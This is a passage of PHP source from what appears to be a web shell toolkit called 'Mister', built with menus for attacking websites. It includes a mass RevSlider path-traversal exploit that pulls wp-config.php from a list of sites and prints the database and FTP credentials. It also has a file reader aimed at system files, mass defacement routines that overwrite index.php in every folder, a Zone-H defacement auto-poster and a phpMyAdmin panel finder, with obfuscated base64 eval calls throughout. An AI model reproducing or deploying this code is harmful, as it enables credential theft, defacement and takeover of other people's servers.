2257 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2258 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2259 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2260 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2261 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2262 | $HOSTOWNED1 = "HOST OWNED :"; | |
2263 | echo ''. $HOSTOWNED1 .'' ; | |
2264 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2265 | ||
2266 | ||
2267 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2268 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2269 | echo ''. $THEEND .'' ; | |
2270 | exit ;} | |
2271 | //////////// READ | |
2272 | if ($_GET["Mister"] == "read"){ | |
2273 | echo "<br><center><nav class='social'><ul> | |
2274 | <li><a href='?Mister=read'>Read /Etc/Passwd</a></li> | |
2275 | <li><a href='?Mister=EtcExtract'> ExtracT Users From /etc/passwd</a></li> | |
2276 | <li><a href='?Mister=Cms'>Cms Scanner</a></li> | |
2277 | </ul></nav></center>"; | |
2278 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>READ /ETC/PASSWD</span></nav><center>"; | |
2279 | echo "<br><div class=content><form method='post' action='?Mister=read&save=1'><textarea cols='50' rows='10' name='file' class='input' style='height:100px;width:40%;'>"; | |
2280 | flush(); | |
2281 | flush(); | |
2282 | $file = '/etc/named.conf'; | |
2283 | ||
2284 | $w0co = @fopen($file, 'r'); | |
2285 | if ($w0co){ | |
2286 | $content = @fread($w0co, @FILESIZE($file)); | |
2287 | echo "".htmlentities($content).""; | |
2288 | } | |
2289 | else if (!$w0co) | |
2290 | { | |
2291 | $w0co = @show_source($file) ; | |
2292 | } | |
2293 | else if (!$w0co) | |
2294 | { | |
2295 | $w0co = @highlight_file($file); | |
2296 | } | |
2297 | else if (!$w0co) | |
2298 | { | |
2299 | $sm = @symlink($file,'MISTER.txt'); | |
2300 | ||
2301 | ||
2302 | if ($sm){ | |
2303 | $w0co = @fopen('named.txt', 'r'); | |
2304 | $content = @fread($w0co, @FILESIZE($file)); | |
2305 | echo "".htmlentities($content).""; | |
2306 | } | |
2307 | } | |
2308 | echo "</textarea><br><br><input type='submit' value='SAVE' class='Mister-button'></form><br><br>"; | |
2309 | if(isset($_GET['save'])){ | |
2310 | $cont = stripcslashes($_POST['file']); | |
2311 | $f = fopen('named.txt','w'); | |
2312 | $w = fwrite($f,$cont); | |
2313 | if($w){ | |
2314 | echo '<span style="font-size:10px; color:#0000F0">SAVE HAS BEEN SUCCESSFULLY </span>'; | |
2315 | } | |
2316 | fclose($f); | |
2317 | } | |
2318 | ///// FOOTER | |
2319 | $FOTTER2 = "<footer class='MK-footer'>"; | |
2320 | echo ''. $FOTTER2 .'' ; | |
2321 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2322 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2323 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2324 | $SERVERIP1 = "SERVER IP :"; | |
2325 | echo ''. $SERVERIP1 .'' ; | |
2326 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2327 | $SPAN3 = "</span>"; | |
2328 | echo ''. $SPAN2 .'' ; | |
2329 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
2330 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2331 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2332 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2333 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2334 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2335 | $HOSTOWNED1 = "HOST OWNED :"; | |
2336 | echo ''. $HOSTOWNED1 .'' ; | |
2337 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2338 | ||
2339 | ||
2340 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2341 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2342 | echo ''. $THEEND .'' ; | |
2343 | exit ; | |
2344 | } | |
2345 | ////// REVSLIDE | |
2346 | if ($_GET["Mister"] == "Rev"){ | |
2347 | echo "<br><center><nav class='social'><ul> | |
2348 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
2349 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
2350 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
2351 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
2352 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
2353 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
2354 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
2355 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
2356 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
2357 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
2358 | </ul></nav></center>"; | |
2359 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>WORDPRESS READ CONFIG </span></nav><br><div class=content><center>"; | |
2360 | echo " | |
2361 | <center><span style=' color:white' >Dork : </span></center> | |
2362 | <center><span> intext:Powered by Revslider </span> <br> | |
2363 | <span> inurl:plugins/revslider/ </span> </center>"; | |
2364 | //////////////////// EXEMPLET | |
2365 | echo"<form method='post' name='login'> | |
2366 | <br><center><span style=' color:white' >List Url : </span><br></center> | |
2367 | <textarea name='sites' cols='10' rows='10' class='input' style='height:150px; width:50%;'> | |
2368 | http://www.Exemple.com\nhttp://www.Exemple.com\nhttp://www.Exemple.com\nhttp://www.Exemple.com</textarea> | |
2369 | <br> | |
2370 | <center><br><input type='submit' value='Read Config' name='go' class='Mister-button'><center> | |
2371 | </form><span> | |
2372 | "; | |
2373 | function findit($mytext,$starttag,$endtag) { | |
2374 | $posLeft = stripos($mytext,$starttag)+strlen($starttag); | |
2375 | $posRight = stripos($mytext,$endtag,$posLeft+1); | |
2376 | return substr($mytext,$posLeft,$posRight-$posLeft); | |
2377 | } | |
2378 | error_reporting(0); | |
2379 | set_time_limit(0); | |
2380 | $ya=$_POST['go']; | |
2381 | $co=$_POST['sites']; | |
2382 | ||
2383 | if($ya){ | |
2384 | $e=explode("\r\n",$co); | |
2385 | foreach($e as $bda){ | |
2386 | echo '<br>'.$bda; | |
2387 | $linkof='/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'; | |
2388 | $dn=($bda).($linkof); | |
2389 | $file=@file_get_contents($dn); | |
2390 | if(eregi('DB_HOST',$file) and !eregi('FTP_USER',$file) ){ | |
2391 | echo"<center><span style='font-size:10px;color:#0000F0'><b>✓ Infected ! </b></span></center>"; | |
2392 | echo "<center><font color='white' >".$bda."</font></center>"; | |
2393 | echo "<span style='font-size:10px; color:lime'>DB name : </font>".findit($file,"DB_NAME', '","');")."<br>"; | |
2394 | echo "<span style='font-size:10px; color:lime'>DB user : </font>".findit($file,"DB_USER', '","');")."<br>"; | |
2395 | echo "<span style='font-size:10px; color:lime'>DB pass : </font>".findit($file,"DB_PASSWORD', '","');")."<br>"; | |
2396 | echo "<span style='font-size:10px; color:lime'>DB host : </font>".findit($file,"DB_HOST', '","');")."<br>"; | |
2397 | } | |
2398 | elseif(eregi('DB_HOST',$file) and eregi('FTP_USER',$file)){ | |
2399 | echo'<center>++++++++++++++++++++++++++++++++++++++</center>'; | |
2400 | echo"<center><span style='font-size:10px; color:#0000F0'><b>✓ Infected ! </b></span></center>"; | |
2401 | echo "<center><span style='font-size:10px; color:white'>".$bda."</span></center>"; | |
2402 | echo "<span style='font-size:10px; color:lime'>FTP user : </font>".findit($file,"FTP_USER','","');")."<br>"; | |
2403 | echo "<span style='font-size:10px; color:lime'>FTP pass : </font>".findit($file,"FTP_PASS','","');")."<br>"; | |
2404 | echo "<span style='font-size:10px; color:lime'>FTP host : </font>".findit($file,"FTP_HOST','","');")."<br>"; | |
2405 | } | |
2406 | else{ | |
2407 | echo'<center>++++++++++++++++++++++++++++++++++++++</center>'; | |
2408 | echo "<center><p style='text-align: center;'>✓ <span color=white>".$bda."</span> ? </font><span style='font-size:10px; color:red'>? ERUR :'(</span></center>";} | |
2409 | echo'<center>++++++++++++++++++++++++++++++++++++++</center>'; | |
2410 | } | |
2411 | ||
2412 | } | |
2413 | ||
2414 | if(isset($site)){ | |
2415 | ||
2416 | foreach($list as $path => $test) { | |
2417 | $ch = curl_init(); | |
2418 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
2419 | curl_setopt($ch, CURLOPT_HEADER, 1); | |
2420 | curl_setopt($ch, CURLOPT_URL, $site.$test); | |
2421 | $result = curl_exec($ch); | |
2422 | curl_close($ch); | |
2423 | //print $url; | |
2424 | if (preg_match("/200 OK/", $result)){ | |
2425 | echo "<br /><span style='font-size:10px; color:green'>[+]</span><span style='font-size:10px; color:#0000F0'> Found ? </font><span style='font-size:10px; color:white'><a>[ $site$test ]</A></span></b>"; | |
2426 | } | |
2427 | else if (preg_match("/401 Unauthorized/", $result)) { | |
2428 | echo "<br /><span style='font-size:10px; color:#ffa71c'>[!]</span><span style='font-size:10px; color:#0000F0'> Found ? </font><span style='font-size:10px; color:white'><a>[ $site$test ]</A></font><a>[ $site$test ]</A></span></b>"; | |
2429 | echo "<br /><span style='font-size:10px; color:#0000F0'>[-]</span><span style='font-size:10px; color:#0000F0'> Nothing Found On </span><span style='font-size:10px; color:white'><a>[ $site$test ]</A></span><a>[$site$test]</a></span>"; | |
2430 | } | |
2431 | } | |
2432 | } | |
2433 | echo "<br>";$FOTTER2 = "<footer class='MK-footer'>"; | |
2434 | echo ''. $FOTTER2 .'' ; | |
2435 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2436 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2437 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2438 | $SERVERIP1 = "SERVER IP :"; | |
2439 | echo ''. $SERVERIP1 .'' ; | |
2440 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2441 | $SPAN3 = "</span>"; | |
2442 | echo ''. $SPAN2 .'' ; | |
2443 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
2444 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2445 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2446 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2447 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2448 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2449 | $HOSTOWNED1 = "HOST OWNED :"; | |
2450 | echo ''. $HOSTOWNED1 .'' ; | |
2451 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2452 | ||
2453 | ||
2454 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2455 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2456 | echo ''. $THEEND .'' ; | |
2457 | exit;} | |
2458 | //////////// THE MASS DEFACE | |
2459 | if ($_GET['Mister'] == 'Mass') { | |
2460 | echo "<br><center><nav class='social'><ul> | |
2461 | <li><a href='?Mister=Mass'> Mass Deface All Folder</a></li> | |
2462 | <li><a href='?Mister=Mass_up'> Mass Upload Deface in All Folder</a></li> | |
2463 | </ul></nav></center>"; | |
2464 | echo "<nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0'>MASS DEFACE ALL FOLDER</span></nav><br><div class=content> | |
2465 | <center><span style=' color:#FFFFFF'>EX : </span>HTTP://TARGET.COM/INDEX.PHP | |
2466 | <center>"; | |
2467 | echo "<span style=' color:#FFFFFF'>"; | |
2468 | $defaceurl = $_POST['massdefaceurl']; | |
2469 | $dir = $_POST['massdefacedir']; | |
2470 | echo $dir."\n"; | |
2471 | if (is_dir($dir)) { | |
2472 | if ($dh = opendir($dir)) { | |
2473 | while (($file = readdir($dh)) !== false) { | |
2474 | if(filetype($dir.$file)=="dir"){ | |
2475 | $newfile=$dir.$file."/index.php"; | |
2476 | echo "<br>"; | |
2477 | echo $newfile."\n"; | |
2478 | if (!copy($defaceurl, $newfile)) { | |
2479 | echo "<span style='color:#f60000'>FAILED TO COPY </span><span style='color:#0000F0;'>$file...</span>\n"; | |
2480 | } | |
2481 | } | |
2482 | } | |
2483 | closedir($dh); | |
2484 | } | |
2485 | } | |
2486 | echo "<br>";eval("?>".base64_decode | |
2487 | ("PGZvcm0gYWN0aW9uPSc8P3BocCBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+JyBtZXRob2Q9J3Bvc3QnPg0KPHNwYW4+DQpbK10gTUFJTiBESVJFQ1RPUlk6PC9zcGFuPjxicj48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjQwJScgdmFsdWU9Jzw/cGhwICBlY2hvIGdldGN3ZCgpIC4gIi8iOyA/PicgbmFtZT0nbWFzc2RlZmFjZWRpcicgY2xhc3M9J2lucHV0Jz4=")); | |
2488 | echo "<br><span><br>[+] DEFACEMENT URL: </span><br><input type='text' style='width:250px' name='massdefaceurl' placeholder='http://www.exemple.com/Deface.php' class='input'><br><br> | |
2489 | <input type='submit' name='execmassdeface' value='DEFACE IT' class='Mister-button' required></form></td>"; | |
2490 | echo '<br><br>'; | |
2491 | //// Footer | |
2492 | $FOTTER2 = "<footer class='MK-footer'>"; | |
2493 | echo ''. $FOTTER2 .'' ; | |
2494 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2495 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2496 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2497 | $SERVERIP1 = "SERVER IP :"; | |
2498 | echo ''. $SERVERIP1 .'' ; | |
2499 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2500 | $SPAN3 = "</span>"; | |
2501 | echo ''. $SPAN2 .'' ; | |
2502 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
2503 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2504 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2505 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2506 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2507 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2508 | $HOSTOWNED1 = "HOST OWNED :"; | |
2509 | echo ''. $HOSTOWNED1 .'' ; | |
2510 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2511 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2512 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2513 | echo ''. $THEEND .'' ; | |
2514 | exit;} | |
2515 | //////////// THE MASS DEFACE2 | |
2516 | if ($_GET['Mister'] == 'Mass_up') { | |
2517 | echo "<br><center><nav class='social'><ul> | |
2518 | <li><a href='?Mister=Mass'> Mass Deface All Folder</a></li> | |
2519 | <li><a href='?Mister=Mass_up'> Mass Upload Deface in All Folder</a></li> | |
2520 | </ul></nav></center>"; | |
2521 | echo "<nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0'>MASS UPLOAD DEFACE IN ALL FOLDER</span></nav><br><div class=content> | |
2522 | <center><span style=' color:#FFFFFF'>EX : </span>HTTP://TARGET.COM/MK.PHP | |
2523 | <center>"; | |
2524 | echo "<span style=' color:#FFFFFF'>"; | |
2525 | $defaceurl = $_POST['massdefaceurl']; | |
2526 | $dir = $_POST['massdefacedir']; | |
2527 | echo $dir."\n"; | |
2528 | if (is_dir($dir)) { | |
2529 | if ($dh = opendir($dir)) { | |
2530 | while (($file = readdir($dh)) !== false) { | |
2531 | if(filetype($dir.$file)=="dir"){ | |
2532 | $newfile=$dir.$file."/MK.php"; | |
2533 | echo "<br>"; | |
2534 | echo $newfile."\n"; | |
2535 | if (!copy($defaceurl, $newfile)) { | |
2536 | echo "<span style='color:#f60000'>FAILED TO COPY </span><span style='color:#0000F0;'>$file...</span>\n"; | |
2537 | } | |
2538 | } | |
2539 | } | |
2540 | closedir($dh); | |
2541 | } | |
2542 | } | |
2543 | echo "<br>";eval("?>".base64_decode | |
2544 | ("PGZvcm0gYWN0aW9uPSc8P3BocCBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+JyBtZXRob2Q9J3Bvc3QnPg0KPHNwYW4+DQpbK10gTUFJTiBESVJFQ1RPUlk6PC9zcGFuPjxicj48aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjQwJScgdmFsdWU9Jzw/cGhwICBlY2hvIGdldGN3ZCgpIC4gIi8iOyA/PicgbmFtZT0nbWFzc2RlZmFjZWRpcicgY2xhc3M9J2lucHV0Jz4=")); | |
2545 | echo "<br><span><br>[+] DEFACEMENT URL: </span><br><input type='text' style='width:250px' name='massdefaceurl' placeholder='http://www.exemple.com/Deface.php' class='input'><br><br> | |
2546 | <input type='submit' name='execmassdeface' value='UP DEFACE!' class='Mister-button' required></form></td>"; | |
2547 | echo '<br><br>'; | |
2548 | //// Footer | |
2549 | $FOTTER2 = "<footer class='MK-footer'>"; | |
2550 | echo ''. $FOTTER2 .'' ; | |
2551 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2552 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2553 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2554 | $SERVERIP1 = "SERVER IP :"; | |
2555 | echo ''. $SERVERIP1 .'' ; | |
2556 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2557 | $SPAN3 = "</span>"; | |
2558 | echo ''. $SPAN2 .'' ; | |
2559 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
2560 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2561 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2562 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2563 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2564 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2565 | $HOSTOWNED1 = "HOST OWNED :"; | |
2566 | echo ''. $HOSTOWNED1 .'' ; | |
2567 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2568 | ||
2569 | ||
2570 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2571 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2572 | echo ''. $THEEND .'' ; | |
2573 | exit;} | |
2574 | /////////////////// ZONE-H | |
2575 | if ($_GET['Mister'] == 'Zoneh') { | |
2576 | $FOTTER2 = "<footer class='MK-footer'>"; | |
2577 | echo ''. $FOTTER2 .'' ; | |
2578 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2579 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2580 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2581 | $SERVERIP1 = "SERVER IP :"; | |
2582 | echo ''. $SERVERIP1 .'' ; | |
2583 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2584 | $SPAN3 = "</span>"; | |
2585 | echo ''. $SPAN2 .'' ; | |
2586 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
2587 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2588 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2589 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2590 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2591 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2592 | $HOSTOWNED1 = "HOST OWNED :"; | |
2593 | echo ''. $HOSTOWNED1 .'' ; | |
2594 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2595 | ||
2596 | ||
2597 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2598 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2599 | echo ''. $THEEND .'' ; | |
2600 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0'>ZONE-H AUTO POSTER</span></nav><br><div class=content><center>"; | |
2601 | $defacer='YOUR NICK NAME';$display_details=0;$method=14;$reason=5;error_reporting(0);set_time_limit(0);if(!function_exists('curl_init')){echo "CURL ERROR\n";exit;}$cli=(isset($argv[0]))?1:0;if($cli==1){$file=$argv[1];$sites=file($file);}if(function_exists(apache_setenv)){@apache_setenv('no-gzip', 1);}@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);@ob_implicit_flush(true);@ob_end_flush();if(isset($_POST['domains'])){$sites=explode("\n",$_POST['domains']);}if (FILE_EXISTS($_FILES["file"]["tmp_name"])){$file=$_FILES["file"]["tmp_name"];$sites=file($file);} | |
2602 | if(!isset($_POST['defacer'])){ | |
2603 | echo <<<EOF | |
2604 | <form enctype="multipart/form-data" method="POST"><div align='center'><br> | |
2605 | CONECT TO : <span style='color:white'> HTTP://WWW.ZONE-H.ORG/NOTIFY/MASS</span> | |
2606 | <span style='color:white'><br> DEFACER : <br></span></b></span><input name="defacer" type="text" value="$defacer" style="width:40%" class="input"><br/><table width='40%' ><tr><td align='center'><span lang='en-us'><span style='color:#FFFFFF'><br>DOMAINS : </span></span><p align='center'><textarea rows='10' name='domains' placeholder='PASTE YOUR DOMAINS HERE' cols='50' class="input" style="height:100px;"></textarea><br><br><input name="submit" type="submit" value='SEND' class="Mister-button"><br><br></p></td></tr></form></div> | |
2607 | EOF; | |
2608 | }$defacer=$_POST['defacer'];if(!$sites){echo '</pre>';exit;} echo "<br><br><center><span style='font-size:10px; color:#FFFFFF'> TOTAL UNIQUE DOMAIN</span><br> $total\n\n";$sites=array_unique(str_replace('http://','',$sites));$total=count($sites);$pause=10;$start=time();$main=curl_multi_init();for($m=0;$m<3;$m++){$http[] = curl_init();}for($n=0;$n<$total;$n +=30){if($display_details==1){for($x=0;$x<30;$x++){echo'<br>[+] ADDING <br>'.rtrim($sites[$n+$x]).'';echo "\n";}}$d=$n+30;if($d>$total){$d=$total;}echo "<br><br><br><br>[$d/$total]\n";for($w=0;$w<3;$w++){$p=$w * 10;if(!(isset($sites[$n+$p]))){$pause=$w;break;}$posts[$w]="defacer=$defacer&domain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=".$method."&reason=".$reason."&submit=Send";$curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array("Keep-Alive: 7"),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => 'http://www.zone-h.org/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);curl_setopt_array($http[$w],$curlopt);curl_multi_add_handle($main,$http[$w]);}$running = null;do{curl_multi_exec($main,$running);}while($running > 0);for($m=0;$m<3;$m++){if($pause==$m){break;}curl_multi_remove_handle($main, $http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);if ($code != 200) {while(true){echo' <br><span style="color:red">ERROR RETRYING.... </span><br>';echo "\n";sleep(5);curl_exec($http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);if( $code== 200){break 1;}}}}}$end= time() - $start;echo 'Done';echo "\n\n[*]Time: $end seconds\n";curl_multi_close($main);if($cli==0){echo '</body></html>';} | |
2609 | exit;} | |
2610 | //////////// FINDER | |
2611 | if ($_GET['Mister'] == 'Finder') { | |
2612 | echo "<br><center><nav class='social'><ul> | |
2613 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
2614 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
2615 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
2616 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
2617 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
2618 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
2619 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
2620 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
2621 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
2622 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
2623 | </ul></nav></center>"; | |
2624 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>FIND DATABASE PANELS</span></nav><br><div class=content><center>"; | |
2625 | ?> | |
2626 | <form action ="" method="post"> | |
2627 | <span style="color:white"><center>URL :</center></span> | |
2628 | <center><input type="text" name="site" class="input" alt="username" value="<?php echo "".$_SERVER['HTTP_HOST']."";?>" style="width:40%"><br><br> | |
2629 | <input type = "submit" value="FIND" class="Mister-button"></center> | |
2630 | </form></td> | |
2631 | <?php | |
2632 | $site = $_POST['site']; | |
2633 | $list = array( | |
2634 | '/phpmyadmin/', | |
2635 | '/PMA/', | |
2636 | '/pma/', | |
2637 | '/admin/', | |
2638 | '/dbadmin/', | |
2639 | '/DB_ADMIN/', | |
2640 | '/db_admin/', | |
2641 | '/DBA/', | |
2642 | '/SQLI/', | |
2643 | '/dba/', | |
2644 | '/sqli/', | |
2645 | '/myadmin/', | |
2646 | '/phpmyadmin2/', | |
2647 | '/phpMyAdmin2/', | |
2648 | '/phpMyAdmin-2/', | |
2649 | '/php-my-admin/', | |
2650 | '/phpMyAdmin-2.2.3/', | |
2651 | '/phpMyAdmin-2.2.6/', | |
2652 | '/phpMyAdmin-2.5.1/', | |
2653 | '/phpMyAdmin-2.5.4/', | |
2654 | '/phpMyAdmin-2.5.5-rc1/', | |
2655 | '/phpMyAdmin-2.5.5-rc2/', | |
2656 | '/phpMyAdmin-2.5.5/', | |
2657 | '/phpMyAdmin-2.5.5-pl1/', | |
2658 | '/phpMyAdmin-2.5.6-rc1/', | |
2659 | '/phpMyAdmin-2.5.6-rc2/', | |
